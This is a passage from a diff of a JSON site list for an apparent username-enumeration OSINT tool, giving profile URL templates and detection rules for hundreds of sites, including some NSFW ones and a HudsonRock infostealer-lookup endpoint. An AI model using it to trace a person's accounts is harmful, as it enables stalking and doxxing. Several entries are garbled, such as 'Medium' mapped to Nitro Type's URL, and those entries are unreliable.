"\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d", + "errorType": "message", + "url": "https://www.rusfootball.info/user/{}/", + "urlMain": "https://www.rusfootball.info/", + "username_claimed": "solo87" + }, + "FortniteTracker": { + "errorType": "status_code", + "url": "https://fortnitetracker.com/profile/all/{}", + "urlMain": "https://fortnitetracker.com/challenges", + "username_claimed": "blue" + }, + "Forum Ophilia": { + "errorMsg": "that user does not exist", + "errorType": "message", + "isNSFW": true, + "url": "https://www.forumophilia.com/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.forumophilia.com/", + "username_claimed": "bob" + }, + "Fosstodon": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]{1,30}$", + "url": "https://fosstodon.org/@{}", + "urlMain": "https://fosstodon.org/", + "username_claimed": "blue" + }, + "Framapiaf": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]{1,30}$", + "url": "https://framapiaf.org/@{}", + "urlMain": "https://framapiaf.org", + "username_claimed": "pylapp" + }, + "Freelancer": { + "errorMsg": "\"users\":{}", + "errorType": "message", + "url": "https://www.freelancer.com/u/{}", + "urlMain": "https://www.freelancer.com/", + "urlProbe": "https://www.freelancer.com/api/users/0.1/users?usernames%5B%5D={}&compact=true", + "username_claimed": "red0xff" + }, + "Freesound": { + "errorType": "status_code", + "url": "https://freesound.org/people/{}/", + "urlMain": "https://freesound.org/", + "username_claimed": "blue" + }, + "GNOME VCS": { + "errorType": "response_url", + "errorUrl": "https://gitlab.gnome.org/{}", + "regexCheck": "^(?!-)[a-zA-Z0-9_.-]{2,255}(? GIFs - Find & Share on GIPHY", + "url": "https://giphy.com/{}", + "urlMain": "https://giphy.com/", + "username_claimed": "red" + }, + "GitBook": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.gitbook.io/", + "urlMain": "https://gitbook.com/", + "username_claimed": "gitbook" + }, + "GitHub": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9](?:[a-zA-Z0-9]|-(?=[a-zA-Z0-9])){0,38}$", + "url": "https://www.github.com/{}", + "urlMain": "https://www.github.com/", + "username_claimed": "blue" + }, + "Warframe Market": { + "errorType": "status_code", + "request_method": "GET", + "url": "https://warframe.market/profile/{}", + "urlMain": "https://warframe.market/", + "urlProbe": "https://api.warframe.market/v2/user/{}", + "username_claimed": "kaiallalone" + }, + "GitLab": { + "errorMsg": "[]", + "errorType": "message", + "url": "https://gitlab.com/{}", + "urlMain": "https://gitlab.com/", + "urlProbe": "https://gitlab.com/api/v4/users?username={}", + "username_claimed": "blue" + }, + "Gitea": { + "errorType": "status_code", + "url": "https://gitea.com/{}", + "urlMain": "https://gitea.com/", + "username_claimed": "xorm" + }, + "Gitee": { + "errorType": "status_code", + "url": "https://gitee.com/{}", + "urlMain": "https://gitee.com/", + "username_claimed": "wizzer" + }, + "GoodReads": { + "errorType": "status_code", + "url": "https://www.goodreads.com/{}", + "urlMain": "https://www.goodreads.com/", + "username_claimed": "blue" + }, + "Google Play": { + "errorMsg": "the requested URL was not found on this server", + "errorType": "message", + "url": "https://play.google.com/store/apps/developer?id={}", + "urlMain": "https://play.google.com", + "username_claimed": "GitHub" + }, + "Gradle": { + "errorType": "status_code", + "regexCheck": "^(?!-)[a-zA-Z0-9-]{3,}(?User Not Found - Hive", + "errorType": "message", + "url": "https://hive.blog/@{}", + "urlMain": "https://hive.blog/", + "username_claimed": "mango-juice" + }, + "Holopin": { + "errorMsg": "true", + "errorType": "message", + "request_method": "POST", + "request_payload": { + "username": "{}" + }, + "url": "https://holopin.io/@{}", + "urlMain": "https://holopin.io", + "urlProbe": "https://www.holopin.io/api/auth/username", + "username_claimed": "red" + }, + "Houzz": { + "errorType": "status_code", + "url": "https://houzz.com/user/{}", + "urlMain": "https://houzz.com/", + "username_claimed": "blue" + }, + "HubPages": { + "errorType": "status_code", + "url": "https://hubpages.com/@{}", + "urlMain": "https://hubpages.com/", + "username_claimed": "blue" + }, + "Hubski": { + "errorMsg": "No such user", + "errorType": "message", + "url": "https://hubski.com/user/{}", + "urlMain": "https://hubski.com/", + "username_claimed": "blue" + }, + "HudsonRock": { + "errorMsg": "This username is not associated", + "errorType": "message", + "url": "https://cavalier.hudsonrock.com/api/json/v2/osint-tools/search-by-username?username={}", + "urlMain": "https://hudsonrock.com", + "username_claimed": "testadmin" + }, + "Hugging Face": { + "errorType": "status_code", + "url": "https://huggingface.co/{}", + "urlMain": "https://huggingface.co/", + "username_claimed": "Pasanlaksitha" + }, + "IFTTT": { + "errorType": "status_code", + "regexCheck": "^[A-Za-z0-9]{3,35}$", + "url": "https://www.ifttt.com/p/{}", + "urlMain": "https://www.ifttt.com/", + "username_claimed": "blue" + }, + "Ifunny": { + "errorType": "status_code", + "url": "https://ifunny.co/user/{}", + "urlMain": "https://ifunny.co/", + "username_claimed": "agua" + }, + "IRC-Galleria": { + "errorType": "response_url", + "errorUrl": "https://irc-galleria.net/users/search?username={}", + "url": "https://irc-galleria.net/user/{}", + "urlMain": "https://irc-galleria.net/", + "username_claimed": "appas" + }, + "Icons8 Community": { + "errorType": "status_code", + "url": "https://community.icons8.com/u/{}/summary", + "urlMain": "https://community.icons8.com/", + "username_claimed": "thefourCraft" + }, + "Image Fap": { + "errorMsg": "Not found", + "errorType": "message", + "isNSFW": true, + "url": "https://www.imagefap.com/profile/{}", + "urlMain": "https://www.imagefap.com/", + "username_claimed": "blue" + }, + "ImgUp.cz": { + "errorType": "status_code", + "url": "https://imgup.cz/{}", + "urlMain": "https://imgup.cz/", + "username_claimed": "adam" + }, + "Imgur": { + "errorType": "status_code", + "url": "https://imgur.com/user/{}", + "urlMain": "https://imgur.com/", + "urlProbe": "https://api.imgur.com/account/v1/accounts/{}?client_id=546c25a59c58ad7", + "username_claimed": "blue" + }, + "imood": { + "errorType": "status_code", + "url": "https://www.imood.com/users/{}", + "urlMain": "https://www.imood.com/", + "username_claimed": "blue" + }, + "Instagram": { + "errorType": "status_code", + "url": "https://instagram.com/{}", + "urlMain": "https://instagram.com/", + "urlProbe": "https://imginn.com/{}", + "username_claimed": "instagram" + }, + "Instapaper": { + "errorType": "status_code", + "request_method": "GET", + "url": "https://www.instapaper.com/p/{}", + "urlMain": "https://www.instapaper.com/", + "username_claimed": "john" + }, + "Instructables": { + "errorType": "status_code", + "url": "https://www.instructables.com/member/{}", + "urlMain": "https://www.instructables.com/", + "urlProbe": "https://www.instructables.com/json-api/showAuthorExists?screenName={}", + "username_claimed": "blue" + }, + "Intigriti": { + "errorType": "status_code", + "regexCheck": "[a-z0-9_]{1,25}", + "request_method": "GET", + "url": "https://app.intigriti.com/profile/{}", + "urlMain": "https://app.intigriti.com", + "urlProbe": "https://api.intigriti.com/user/public/profile/{}", + "username_claimed": "blue" + }, + "Ionic Forum": { + "errorType": "status_code", + "url": "https://forum.ionicframework.com/u/{}", + "urlMain": "https://forum.ionicframework.com/", + "username_claimed": "theblue222" + }, + "Issuu": { + "errorType": "status_code", + "url": "https://issuu.com/{}", + "urlMain": "https://issuu.com/", + "username_claimed": "jenny" + }, + "Itch.io": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.itch.io/", + "urlMain": "https://itch.io/", + "username_claimed": "blue" + }, + "Itemfix": { + "errorMsg": "ItemFix - Channel: ", + "errorType": "message", + "url": "https://www.itemfix.com/c/{}", + "urlMain": "https://www.itemfix.com/", + "username_claimed": "blue" + }, + "Jellyfin Weblate": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9@._-]{1,150}$", + "url": "https://translate.jellyfin.org/user/{}/", + "urlMain": "https://translate.jellyfin.org/", + "username_claimed": "EraYaN" + }, + "Jimdo": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.jimdosite.com", + "urlMain": "https://jimdosite.com/", + "username_claimed": "jenny" + }, + "Joplin Forum": { + "errorType": "status_code", + "url": "https://discourse.joplinapp.org/u/{}", + "urlMain": "https://discourse.joplinapp.org/", + "username_claimed": "laurent" + }, + "Jupyter Community Forum": { + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorType": "message", + "url": "https://discourse.jupyter.org/u/{}/summary", + "urlMain": "https://discourse.jupyter.org", + "username_claimed": "choldgraf" + }, + "Kaggle": { + "errorType": "status_code", + "url": "https://www.kaggle.com/{}", + "urlMain": "https://www.kaggle.com/", + "username_claimed": "dansbecker" + }, + "kaskus": { + "errorType": "status_code", + "url": "https://www.kaskus.co.id/@{}", + "urlMain": "https://www.kaskus.co.id", + "urlProbe": "https://www.kaskus.co.id/api/users?username={}", + "request_method": "GET", + "username_claimed": "l0mbart" + }, + "Keybase": { + "errorType": "status_code", + "url": "https://keybase.io/{}", + "urlMain": "https://keybase.io/", + "username_claimed": "blue" + }, + "Kick": { + "__comment__": "Cloudflare. Only viable when proxied.", + "errorType": "status_code", + "url": "https://kick.com/{}", + "urlMain": "https://kick.com/", + "urlProbe": "https://kick.com/api/v2/channels/{}", + "username_claimed": "blue" + }, + "Kik": { + "errorMsg": "The page you requested was not found", + "errorType": "message", + "url": "https://kik.me/{}", + "urlMain": "http://kik.me/", + "urlProbe": "https://ws2.kik.com/user/{}", + "username_claimed": "blue" + }, + "Kongregate": { + "errorType": "status_code", + "headers": { + "Accept": "text/html" + }, + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://www.kongregate.com/accounts/{}", + "urlMain": "https://www.kongregate.com/", + "username_claimed": "blue" + }, + "Kvinneguiden": { + "errorMsg": "{\"result\":\"ok\"}", + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9_.-]{3,18}$", + "urlProbe": "https://forum.kvinneguiden.no/?app=core&module=system&controller=ajax&do=usernameExists&input={}", + "url": "https://forum.kvinneguiden.no", + "urlMain": "https://forum.kvinneguiden.no", + "username_claimed": "blue" + }, + "LOR": { + "errorType": "status_code", + "url": "https://www.linux.org.ru/people/{}/profile", + "urlMain": "https://linux.org.ru/", + "username_claimed": "red" + }, + "Laracast": { + "errorType": "status_code", + "url": "https://laracasts.com/@{}", + "urlMain": "https://laracasts.com/", + "regexCheck": "^[a-zA-Z0-9_-]{3,}$", + "username_claimed": "user1" + }, + "Launchpad": { + "errorType": "status_code", + "url": "https://launchpad.net/~{}", + "urlMain": "https://launchpad.net/", + "username_claimed": "blue" + }, + "LeetCode": { + "errorType": "status_code", + "url": "https://leetcode.com/{}", + "urlMain": "https://leetcode.com/", + "username_claimed": "blue" + }, + "LemmyWorld": { + "errorType": "message", + "errorMsg": "

    Error!

    ", + "url": "https://lemmy.world/u/{}", + "urlMain": "https://lemmy.world", + "username_claimed": "blue" + }, + "LessWrong": { + "url": "https://www.lesswrong.com/users/{}", + "urlMain": "https://www.lesswrong.com/", + "errorType": "response_url", + "errorUrl": "https://www.lesswrong.com/", + "username_claimed": "habryka" + }, + "Letterboxd": { + "errorMsg": "Sorry, we can\u2019t find the page you\u2019ve requested.", + "errorType": "message", + "url": "https://letterboxd.com/{}", + "urlMain": "https://letterboxd.com/", + "username_claimed": "blue" + }, + "LibraryThing": { + "errorMsg": "

    Error: This user doesn't exist

    ", + "errorType": "message", + "headers": { + "Cookie": "LTAnonSessionID=3159599315; LTUnifiedCookie=%7B%22areyouhuman%22%3A1%7D; " + }, + "url": "https://www.librarything.com/profile/{}", + "urlMain": "https://www.librarything.com/", + "username_claimed": "blue" + }, + "Lichess": { + "errorType": "status_code", + "url": "https://lichess.org/@/{}", + "urlMain": "https://lichess.org", + "username_claimed": "john" + }, + "LinkedIn": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9]{3,100}$", + "request_method": "GET", + "url": "https://linkedin.com/in/{}", + "urlMain": "https://linkedin.com", + "username_claimed": "paulpfeister" + }, + "Linktree": { + "errorMsg": "\"statusCode\":404", + "errorType": "message", + "regexCheck": "^[\\w\\.]{2,30}$", + "url": "https://linktr.ee/{}", + "urlMain": "https://linktr.ee/", + "username_claimed": "anne" + }, + "LinuxFR.org": { + "errorType": "status_code", + "url": "https://linuxfr.org/users/{}", + "urlMain": "https://linuxfr.org/", + "username_claimed": "pylapp" + }, + "Listed": { + "errorType": "response_url", + "errorUrl": "https://listed.to/@{}", + "url": "https://listed.to/@{}", + "urlMain": "https://listed.to/", + "username_claimed": "listed" + }, + "LiveJournal": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://{}.livejournal.com", + "urlMain": "https://www.livejournal.com/", + "username_claimed": "blue" + }, + "Lobsters": { + "errorType": "status_code", + "regexCheck": "[A-Za-z0-9][A-Za-z0-9_-]{0,24}", + "url": "https://lobste.rs/u/{}", + "urlMain": "https://lobste.rs/", + "username_claimed": "jcs" + }, + "LottieFiles": { + "errorType": "status_code", + "url": "https://lottiefiles.com/{}", + "urlMain": "https://lottiefiles.com/", + "username_claimed": "lottiefiles" + }, + "LushStories": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://www.lushstories.com/profile/{}", + "urlMain": "https://www.lushstories.com/", + "username_claimed": "chris_brown" + }, + "MMORPG Forum": { + "errorType": "status_code", + "url": "https://forums.mmorpg.com/profile/{}", + "urlMain": "https://forums.mmorpg.com/", + "username_claimed": "goku" + }, + "Mamot": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]{1,30}$", + "url": "https://mamot.fr/@{}", + "urlMain": "https://mamot.fr/", + "username_claimed": "anciensEnssat" + }, + "Medium": { + "errorMsg": "Nitro Type | Competitive Typing Game | Race Your Friends", + "errorType": "message", + "url": "https://www.nitrotype.com/racer/{}", + "urlMain": "https://www.nitrotype.com/", + "username_claimed": "jianclash" + }, + "NotABug.org": { + "errorType": "status_code", + "url": "https://notabug.org/{}", + "urlMain": "https://notabug.org/", + "urlProbe": "https://notabug.org/{}/followers", + "username_claimed": "red" + }, + "Nothing Community": { + "errorType": "status_code", + "url": "https://nothing.community/u/{}", + "urlMain": "https://nothing.community/", + "username_claimed": "Carl" + }, + "Nyaa.si": { + "errorType": "status_code", + "url": "https://nyaa.si/user/{}", + "urlMain": "https://nyaa.si/", + "username_claimed": "blue" + }, + "ObservableHQ": { + "errorType": "message", + "errorMsg": "Page not found", + "url": "https://observablehq.com/@{}", + "urlMain": "https://observablehq.com/", + "username_claimed": "mbostock" + }, + "Open Collective": { + "errorType": "status_code", + "url": "https://opencollective.com/{}", + "urlMain": "https://opencollective.com/", + "username_claimed": "sindresorhus" + }, + "OpenGameArt": { + "errorType": "status_code", + "url": "https://opengameart.org/users/{}", + "urlMain": "https://opengameart.org", + "username_claimed": "ski" + }, + "OpenStreetMap": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://www.openstreetmap.org/user/{}", + "urlMain": "https://www.openstreetmap.org/", + "username_claimed": "blue" + }, + "Odysee": { + "errorMsg": "", + "errorType": "message", + "url": "https://odysee.com/@{}", + "urlMain": "https://odysee.com/", + "username_claimed": "Odysee" + }, + "Opensource": { + "errorType": "status_code", + "url": "https://opensource.com/users/{}", + "urlMain": "https://opensource.com/", + "username_claimed": "red" + }, + "OurDJTalk": { + "errorMsg": "The specified member cannot be found", + "errorType": "message", + "url": "https://ourdjtalk.com/members?username={}", + "urlMain": "https://ourdjtalk.com/", + "username_claimed": "steve" + }, + "Outgress": { + "errorMsg": "Outgress - Error", + "errorType": "message", + "url": "https://outgress.com/agents/{}", + "urlMain": "https://outgress.com/", + "username_claimed": "pylapp" + }, + "PCGamer": { + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorType": "message", + "url": "https://forums.pcgamer.com/members/?username={}", + "urlMain": "https://pcgamer.com", + "username_claimed": "admin" + }, + "PSNProfiles.com": { + "errorType": "response_url", + "errorUrl": "https://psnprofiles.com/?psnId={}", + "url": "https://psnprofiles.com/{}", + "urlMain": "https://psnprofiles.com/", + "username_claimed": "blue" + }, + "Packagist": { + "errorType": "response_url", + "errorUrl": "https://packagist.org/search/?q={}&reason=vendor_not_found", + "url": "https://packagist.org/packages/{}/", + "urlMain": "https://packagist.org/", + "username_claimed": "psr" + }, + "Pastebin": { + "errorMsg": "Not Found (#404)", + "errorType": "message", + "url": "https://pastebin.com/u/{}", + "urlMain": "https://pastebin.com/", + "username_claimed": "blue" + }, + "Patched": { + "errorMsg": "The member you specified is either invalid or doesn't exist.", + "errorType": "message", + "url": "https://patched.sh/User/{}", + "urlMain": "https://patched.sh/", + "username_claimed": "blue" + }, + "Patreon": { + "errorType": "status_code", + "url": "https://www.patreon.com/{}", + "urlMain": "https://www.patreon.com/", + "username_claimed": "blue" + }, + "PentesterLab": { + "errorType": "status_code", + "regexCheck": "^[\\w]{4,30}$", + "url": "https://pentesterlab.com/profile/{}", + "urlMain": "https://pentesterlab.com/", + "username_claimed": "0day" + }, + "HotUKdeals": { + "errorType": "status_code", + "url": "https://www.hotukdeals.com/profile/{}", + "urlMain": "https://www.hotukdeals.com/", + "username_claimed": "Blue", + "request_method": "GET" + }, + "Mydealz": { + "errorType": "status_code", + "url": "https://www.mydealz.de/profile/{}", + "urlMain": "https://www.mydealz.de/", + "username_claimed": "blue", + "request_method": "GET" + }, + "Chollometro": { + "errorType": "status_code", + "url": "https://www.chollometro.com/profile/{}", + "urlMain": "https://www.chollometro.com/", + "username_claimed": "blue", + "request_method": "GET" + }, + "PepperNL": { + "errorType": "status_code", + "url": "https://nl.pepper.com/profile/{}", + "urlMain": "https://nl.pepper.com/", + "username_claimed": "Dynaw", + "request_method": "GET" + }, + "PepperPL": { + "errorType": "status_code", + "url": "https://www.pepper.pl/profile/{}", + "urlMain": "https://www.pepper.pl/", + "username_claimed": "FireChicken", + "request_method": "GET" + }, + "Preisjaeger": { + "errorType": "status_code", + "url": "https://www.preisjaeger.at/profile/{}", + "urlMain": "https://www.preisjaeger.at/", + "username_claimed": "Stefan", + "request_method": "GET" + }, + "Pepperdeals": { + "errorType": "status_code", + "url": "https://www.pepperdeals.se/profile/{}", + "urlMain": "https://www.pepperdeals.se/", + "username_claimed": "Mark", + "request_method": "GET" + }, + "PepperealsUS": { + "errorType": "status_code", + "url": "https://www.pepperdeals.com/profile/{}", + "urlMain": "https://www.pepperdeals.com/", + "username_claimed": "Stepan", + "request_method": "GET" + }, + "Promodescuentos": { + "errorType": "status_code", + "url": "https://www.promodescuentos.com/profile/{}", + "urlMain": "https://www.promodescuentos.com/", + "username_claimed": "blue", + "request_method": "GET" + }, + "Periscope": { + "errorType": "status_code", + "url": "https://www.periscope.tv/{}/", + "urlMain": "https://www.periscope.tv/", + "username_claimed": "blue" + }, + "Pinkbike": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://www.pinkbike.com/u/{}/", + "urlMain": "https://www.pinkbike.com/", + "username_claimed": "blue" + }, + "pixelfed.social": { + "errorType": "status_code", + "url": "https://pixelfed.social/{}/", + "urlMain": "https://pixelfed.social", + "username_claimed": "pylapp" + }, + "PlayStore": { + "errorType": "status_code", + "url": "https://play.google.com/store/apps/developer?id={}", + "urlMain": "https://play.google.com/store", + "username_claimed": "Facebook" + }, + "Playstrategy": { + "errorType": "status_code", + "url": "https://playstrategy.org/@/{}", + "urlMain": "https://playstrategy.org", + "username_claimed": "oruro" + }, + "Plurk": { + "errorMsg": "User Not Found!", + "errorType": "message", + "url": "https://www.plurk.com/{}", + "urlMain": "https://www.plurk.com/", + "username_claimed": "plurkoffice" + }, + "PocketStars": { + "errorMsg": "Join Your Favorite Adult Stars", + "errorType": "message", + "isNSFW": true, + "url": "https://pocketstars.com/{}", + "urlMain": "https://pocketstars.com/", + "username_claimed": "hacker" + }, + "Pokemon Showdown": { + "errorType": "status_code", + "url": "https://pokemonshowdown.com/users/{}", + "urlMain": "https://pokemonshowdown.com", + "username_claimed": "blue" + }, + "Polarsteps": { + "errorType": "status_code", + "url": "https://polarsteps.com/{}", + "urlMain": "https://polarsteps.com/", + "urlProbe": "https://api.polarsteps.com/users/byusername/{}", + "username_claimed": "james" + }, + "Polygon": { + "errorType": "status_code", + "url": "https://www.polygon.com/users/{}", + "urlMain": "https://www.polygon.com/", + "username_claimed": "swiftstickler" + }, + "Polymart": { + "errorType": "response_url", + "errorUrl": "https://polymart.org/user/-1", + "url": "https://polymart.org/user/{}", + "urlMain": "https://polymart.org/", + "username_claimed": "craciu25yt" + }, + "Pornhub": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://pornhub.com/users/{}", + "urlMain": "https://pornhub.com/", + "username_claimed": "blue" + }, + "ProductHunt": { + "errorType": "status_code", + "url": "https://www.producthunt.com/@{}", + "urlMain": "https://www.producthunt.com/", + "username_claimed": "jenny" + }, + "programming.dev": { + "errorMsg": "Error!", + "errorType": "message", + "url": "https://programming.dev/u/{}", + "urlMain": "https://programming.dev", + "username_claimed": "pylapp" + }, + "Pychess": { + "errorType": "message", + "errorMsg": "404", + "url": "https://www.pychess.org/@/{}", + "urlMain": "https://www.pychess.org", + "username_claimed": "gbtami" + }, + "PromoDJ": { + "errorType": "status_code", + "url": "http://promodj.com/{}", + "urlMain": "http://promodj.com/", + "username_claimed": "blue" + }, + "Pronouns.page": { + "errorType": "status_code", + "url": "https://pronouns.page/@{}", + "urlMain": "https://pronouns.page/", + "username_claimed": "andrea" + }, + "PyPi": { + "errorType": "status_code", + "url": "https://pypi.org/user/{}", + "urlProbe": "https://pypi.org/_includes/administer-user-include/{}", + "urlMain": "https://pypi.org", + "username_claimed": "Blue" + }, + "Python.org Discussions": { + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorType": "message", + "url": "https://discuss.python.org/u/{}/summary", + "urlMain": "https://discuss.python.org", + "username_claimed": "pablogsal" + }, + "Rajce.net": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.rajce.idnes.cz/", + "urlMain": "https://www.rajce.idnes.cz/", + "username_claimed": "blue" + }, + "Rarible": { + "errorType": "status_code", + "url": "https://rarible.com/marketplace/api/v4/urls/{}", + "urlMain": "https://rarible.com/", + "username_claimed": "blue" + }, + "Rate Your Music": { + "errorType": "status_code", + "url": "https://rateyourmusic.com/~{}", + "urlMain": "https://rateyourmusic.com/", + "username_claimed": "blue" + }, + "Rclone Forum": { + "errorType": "status_code", + "url": "https://forum.rclone.org/u/{}", + "urlMain": "https://forum.rclone.org/", + "username_claimed": "ncw" + }, + "RedTube": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://www.redtube.com/users/{}", + "urlMain": "https://www.redtube.com/", + "username_claimed": "hacker" + }, + "Redbubble": { + "errorType": "status_code", + "url": "https://www.redbubble.com/people/{}", + "urlMain": "https://www.redbubble.com/", + "username_claimed": "blue" + }, + "Reddit": { + "errorMsg": "Sorry, nobody on Reddit goes by that name.", + "errorType": "message", + "headers": { + "accept-language": "en-US,en;q=0.9" + }, + "url": "https://www.reddit.com/user/{}", + "urlMain": "https://www.reddit.com/", + "username_claimed": "blue" + }, + "Realmeye": { + "errorMsg": "Sorry, but we either:", + "errorType": "message", + "url": "https://www.realmeye.com/player/{}", + "urlMain": "https://www.realmeye.com/", + "username_claimed": "rotmg" + }, + "Reisefrage": { + "errorType": "status_code", + "url": "https://www.reisefrage.net/nutzer/{}", + "urlMain": "https://www.reisefrage.net/", + "username_claimed": "reisefrage" + }, + "Replit.com": { + "errorType": "status_code", + "url": "https://replit.com/@{}", + "urlMain": "https://replit.com/", + "username_claimed": "blue" + }, + "ResearchGate": { + "errorType": "response_url", + "errorUrl": "https://www.researchgate.net/directory/profiles", + "regexCheck": "\\w+_\\w+", + "url": "https://www.researchgate.net/profile/{}", + "urlMain": "https://www.researchgate.net/", + "username_claimed": "John_Smith" + }, + "ReverbNation": { + "errorMsg": "Sorry, we couldn't find that page", + "errorType": "message", + "url": "https://www.reverbnation.com/{}", + "urlMain": "https://www.reverbnation.com/", + "username_claimed": "blue" + }, + "Roblox": { + "errorType": "status_code", + "url": "https://www.roblox.com/user.aspx?username={}", + "urlMain": "https://www.roblox.com/", + "username_claimed": "bluewolfekiller" + }, + "RocketTube": { + "errorMsg": "OOPS! Houston, we have a problem", + "errorType": "message", + "isNSFW": true, + "url": "https://www.rockettube.com/{}", + "urlMain": "https://www.rockettube.com/", + "username_claimed": "Tatteddick5600" + }, + "RoyalCams": { + "errorType": "status_code", + "url": "https://royalcams.com/profile/{}", + "urlMain": "https://royalcams.com", + "username_claimed": "asuna-black" + }, + "Ruby Forums": { + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorType": "message", + "url": "https://ruby-forum.com/u/{}/summary", + "urlMain": "https://ruby-forums.com", + "username_claimed": "rishard" + }, + "RubyGems": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]{1,40}", + "url": "https://rubygems.org/profiles/{}", + "urlMain": "https://rubygems.org/", + "username_claimed": "blue" + }, + "Rumble": { + "errorType": "status_code", + "url": "https://rumble.com/user/{}", + "urlMain": "https://rumble.com/", + "username_claimed": "John" + }, + "RuneScape": { + "errorMsg": "{\"error\":\"NO_PROFILE\",\"loggedIn\":\"false\"}", + "errorType": "message", + "regexCheck": "^(?! )[\\w -]{1,12}(?Page no longer exists", + "url": "https://slideshare.net/{}", + "urlMain": "https://slideshare.net/", + "username_claimed": "blue" + }, + "Slides": { + "errorCode": 204, + "errorType": "status_code", + "url": "https://slides.com/{}", + "urlMain": "https://slides.com/", + "username_claimed": "blue" + }, + "SmugMug": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z]{1,35}$", + "url": "https://{}.smugmug.com", + "urlMain": "https://smugmug.com", + "username_claimed": "winchester" + }, + "Smule": { + "errorMsg": "Smule | Page Not Found (404)", + "errorType": "message", + "url": "https://www.smule.com/{}", + "urlMain": "https://www.smule.com/", + "username_claimed": "blue" + }, + "Snapchat": { + "errorType": "status_code", + "regexCheck": "^[a-z][a-z-_.]{3,15}", + "request_method": "GET", + "url": "https://www.snapchat.com/add/{}", + "urlMain": "https://www.snapchat.com", + "username_claimed": "teamsnapchat" + }, + "SOOP": { + "errorType": "status_code", + "url": "https://www.sooplive.co.kr/station/{}", + "urlMain": "https://www.sooplive.co.kr/", + "urlProbe": "https://api-channel.sooplive.co.kr/v1.1/channel/{}/station", + "username_claimed": "udkn" + }, + "SoundCloud": { + "errorType": "status_code", + "url": "https://soundcloud.com/{}", + "urlMain": "https://soundcloud.com/", + "username_claimed": "blue" + }, + "SourceForge": { + "errorType": "status_code", + "url": "https://sourceforge.net/u/{}", + "urlMain": "https://sourceforge.net/", + "username_claimed": "blue" + }, + "SoylentNews": { + "errorMsg": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorType": "message", + "url": "https://soylentnews.org/~{}", + "urlMain": "https://soylentnews.org", + "username_claimed": "adam" + }, + "SpeakerDeck": { + "errorType": "status_code", + "url": "https://speakerdeck.com/{}", + "urlMain": "https://speakerdeck.com/", + "username_claimed": "pylapp" + }, + "Speedrun.com": { + "errorType": "status_code", + "url": "https://speedrun.com/users/{}", + "urlMain": "https://speedrun.com/", + "username_claimed": "example" + }, + "Spells8": { + "errorType": "status_code", + "url": "https://forum.spells8.com/u/{}", + "urlMain": "https://spells8.com", + "username_claimed": "susurrus" + }, + "Splice": { + "errorType": "status_code", + "url": "https://splice.com/{}", + "urlMain": "https://splice.com/", + "username_claimed": "splice" + }, + "Splits.io": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://splits.io/users/{}", + "urlMain": "https://splits.io", + "username_claimed": "cambosteve" + }, + "Sporcle": { + "errorType": "status_code", + "url": "https://www.sporcle.com/user/{}/people", + "urlMain": "https://www.sporcle.com/", + "username_claimed": "blue" + }, + "Sportlerfrage": { + "errorType": "status_code", + "url": "https://www.sportlerfrage.net/nutzer/{}", + "urlMain": "https://www.sportlerfrage.net/", + "username_claimed": "sportlerfrage" + }, + "SportsRU": { + "errorType": "status_code", + "url": "https://www.sports.ru/profile/{}/", + "urlMain": "https://www.sports.ru/", + "username_claimed": "blue" + }, + "Spotify": { + "errorType": "status_code", + "url": "https://open.spotify.com/user/{}", + "urlMain": "https://open.spotify.com/", + "username_claimed": "blue" + }, + "Star Citizen": { + "errorMsg": "404", + "errorType": "message", + "url": "https://robertsspaceindustries.com/citizens/{}", + "urlMain": "https://robertsspaceindustries.com/", + "username_claimed": "blue" + }, + "Status Cafe": { + "errorMsg": "Page Not Found", + "errorType": "message", + "url": "https://status.cafe/users/{}", + "urlMain": "https://status.cafe/", + "username_claimed": "blue" + }, + "Steam Community (Group)": { + "errorMsg": "No group could be retrieved for the given URL", + "errorType": "message", + "url": "https://steamcommunity.com/groups/{}", + "urlMain": "https://steamcommunity.com/", + "username_claimed": "blue" + }, + "Steam Community (User)": { + "errorMsg": "The specified profile could not be found", + "errorType": "message", + "url": "https://steamcommunity.com/id/{}/", + "urlMain": "https://steamcommunity.com/", + "username_claimed": "blue" + }, + "Strava": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://www.strava.com/athletes/{}", + "urlMain": "https://www.strava.com/", + "username_claimed": "blue" + }, + "SublimeForum": { + "errorType": "status_code", + "url": "https://forum.sublimetext.com/u/{}", + "urlMain": "https://forum.sublimetext.com/", + "username_claimed": "blue" + }, + "TETR.IO": { + "errorMsg": "No such user!", + "errorType": "message", + "url": "https://ch.tetr.io/u/{}", + "urlMain": "https://tetr.io", + "urlProbe": "https://ch.tetr.io/api/users/{}", + "username_claimed": "osk" + }, + "TheMovieDB": { + "errorType": "status_code", + "url": "https://www.themoviedb.org/u/{}", + "urlMain": 